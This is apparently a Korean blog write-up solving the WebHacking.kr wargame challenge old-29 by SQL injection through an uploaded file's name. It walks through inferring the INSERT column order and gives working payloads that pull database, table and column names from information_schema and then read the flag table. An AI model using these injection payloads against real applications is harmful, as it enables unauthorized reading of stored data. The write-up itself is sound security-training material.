Search

WebHacking.kr Challenge old-29

목표 : SQLi DB, 테이블, 컬럼명 추출 Information_schema
플래그는 다른 테이블에 있다 명시돼있고 파일을 업로드할 수 있다.
시간 ip 파일제목이 나타난다.
파일 제목이 조작 가능한 인자이므로 FROM * 이후 주석을 통해 모든 테이블을 부르는게 가능할까 해서 시도했지만 별 변화가 없다.
일단 실제로 제출할 때 전달되는 값을 보면 파일 제목만 전달이 되고 입력하는 값으로 조작을 시도해봐야할 것 같다.
결국 이 파일 제목을 이리저리 수정하며 맞추는게 맞아 보인다.
전달돼 파일이 입력되는 순간 예상 가능한 SQL문은 다음과 같다. 경우의 수로 따지면 6개 정도?
#1 INSERT INTO TABLE_NAME VALUES (now(), {IP}, filename) #2 INSERT INTO TABLE_NAME VALUES ({IP}, now(), filename) #3 ... #6 INSERT INTO TABLE_NAME VALUES (filename, now(), {IP})
SQL
복사
우선 filename의 위치를 알아보자
잘못 발송하면 다음과 같이 에러가 발생한다.
! 시간은 꼭 숫자로, 아이피는 내 아이피로 설정해야 값이 나타난다.
aaaa','myip','time');#" aaaa','time','myip');#" aaaa','myip');#" aaaa');#"
SQL
복사
결과적으로 파일이름, 시간, 아이피 순으로 입력되는 걸 알 수 있다.
일단 VALUES 내부에도 SELECT 문을 통한 결과값을 넣을 수 있으므로 다음 형태를 만들면 된다.
#INSERT INTO TABLE_NAME VALUES (abcd,1111,{IP}),(SELECT database(),1111,{IP});# abcd','1111',{IP}),((SELECT database()),'1111',{IP});#
SQL
복사
chall29라는 DB명을 알았으니 테이블명을 알아보자. FROM chall29 / FROM ‘chall 29’로는 테이블명들을 추출 할 수 없어 메타데이터를 기반으로 불러왔다.
Information_schema 참조
aaaa','1111','MYIP'),((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='chall29'),'1111','MYIP');#
SQL
복사
flag_congratz라는 테이블을 찾았다. 이제는 컬럼명을 알아보자.
aaaa','1111','MYIP'),((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='flag_congratz'),'1111','MYIP');#
SQL
복사
다왔다 이제 플래그를 보자
aaaa','1111','MYIP'),((SELECT flag FROM flag_congratz),'1111','MYIP');#
SQL
복사

✓ 다른 [워게임] 포스트

WebHacking.kr Challenge Write-Up (70/80)
In progress
WebHacking.kr Challenge Write-Up (70/80)
In progress
Load more
︎ 더 많은 게시물을 보려면
︎ 작성자가 궁금하면?
 2023. absolroot all rights reserved.